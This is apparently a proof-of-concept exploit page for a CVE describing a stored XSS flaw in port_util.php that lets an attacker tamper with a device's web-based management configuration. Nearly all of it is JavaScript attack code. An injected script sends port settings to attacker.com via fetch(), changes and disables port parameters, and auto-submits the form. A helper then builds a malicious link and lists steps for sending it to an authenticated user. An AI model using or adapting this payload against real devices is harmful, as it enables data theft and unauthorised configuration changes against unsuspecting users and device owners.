CVE-2025-41749: port_util.php存储型XSS漏洞可导致WBM配置篡改

// CVE-2025-41749 PoC - XSS in port_util.php // This PoC demonstrates how an attacker can inject malicious JavaScript // through port_util.php to manipulate WBM configuration parameters const pocUrl = 'http://[TARGET_IP]/port_util.php'; // Malicious payload that steals configuration data and modifies parameters const xssPayload = ` <script> // Steal current configuration const config = { portSettings: document.querySelectorAll('input[name*="port"]'), currentUrl: window.location.href }; // Exfiltrate data to attacker controlled server fetch('https://attacker.com/exfil?data=' + btoa(JSON.stringify(config))); // Modify port configuration parameters document.querySelector('input[name="port_num"]').value = '9999'; document.querySelector('input[name="port_enabled"]').checked = false; // Auto-submit the form document.querySelector('form[action*="port_util"]').submit(); </script> `; // Generate malicious link for social engineering attack function generateMaliciousLink() { const baseUrl = pocUrl; const params = new URLSearchParams({ port_id: '1' + xssPayload, action: 'edit' }); return `${baseUrl}?${params.toString()}`; } // Display the malicious link console.log('Malicious Link for Social Engineering Attack:'); console.log(generateMaliciousLink()); console.log('\nAttack Steps:'); console.log('1. Send this link to authenticated WBM user'); console.log('2. When user clicks, XSS payload executes in their browser'); console.log('3. Attacker can modify device configuration parameters'); console.log('4. Modified configuration is saved to the device');